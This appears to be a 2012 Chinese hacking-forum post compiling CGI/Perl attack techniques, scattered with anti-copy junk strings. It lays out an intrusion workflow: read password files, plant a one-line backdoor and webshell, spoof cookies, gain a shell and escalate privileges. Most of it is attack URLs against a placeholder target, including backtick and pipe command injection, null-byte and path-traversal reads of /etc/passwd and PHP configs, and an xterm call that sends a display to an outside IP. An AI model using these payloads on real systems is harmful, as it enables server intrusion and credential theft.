找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3161|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  $ J* `/ T/ J& n; V
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
; m3 l5 M1 l$ {感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  1 W6 {: @( Z& x  X( {4 P: ?
注“  # j9 y+ p+ \+ q$ q
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  $ z1 ]' p1 }3 t% s" a
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  7 }+ Z! l* p* \6 ]
( m5 F* D8 w3 o" j8 N
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  - J( |, p) h; g5 M" n2 B. v9 D
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  - Y) S7 y- [5 h/ V, ~7 o: @8 b
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
, |3 h  B, E4 ehttp://target.com/cgi-bin/home/news/sub.pl?`id`  
" Q- b+ H* v: e5 Mhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  % S0 ^. n5 |  U3 x" A5 F* i. q1 P
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
0 I9 Y8 m% l6 c/ |2 q7 t$ X3 j  W  `. Z3 e! W
http://target.com/test.pl;ls|  / H, W; I7 V, s8 y+ Y& I; y
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  $ A: B4 i' R; l: F
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
9 B% |* o: D8 l) w, e6 Whttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
  a" i% d- k! Z  b% P比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
5 ^; {0 Q! O1 uhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
# b+ F* O( P  I* ^+ D+ F, j9 M
http://target.com/test.pl?&........ /../../etc/passwd  
7 s9 |3 Z; ]! G! O% i
% }) @9 ^' Z0 j' R  q+ j& b8 @# M* Qhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  4 M( |& y4 s' A5 S7 K- k3 s
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  + n: B* g3 k! |
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
( J, b$ I/ ^7 C  o1 [  s1 [9 e+ {7 ]7 ]% M
http://www.target.org/show.php?f ... /include/config.php 查看php代码  
5 Q8 C# s( J3 A" Qhttp://www.target.org/show.php?f ... ng/admin/global.php  / @  ^9 C1 Y1 D& h
# c+ @- p% }- b$ \
emm和ps的一句话2 v( e+ S$ w. U

2 ~- P2 g" k3 G( C1 A3 Ahttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
7 G' ~0 Y9 H: h) H0 }
: ~- V# k0 Z4 r* r( I>bbb%20|  
* j' s, l0 s4 Q8 B7 R. f1 ^# n' g, Y9 o- G6 b) Z6 a
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
" D: y+ z5 [* ]8 r1 s2 M2 C4 y. X$ X0 i
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
/ |" H2 z1 G+ v& Y3 Fhttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  8 [0 U5 {6 }5 p6 _. M
  Y# z" n1 B! L6 _
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  * y6 i2 ~" j: G5 o
http://target.com/index.html#cmd.exe  
- Q" p# @& T5 q9 thttp://target.com/index.html?dummyparam=xp_cmdshell  
% q, |3 S/ e6 f5 p! I0 Nlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  / s$ {5 M6 T3 f7 {+ |8 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表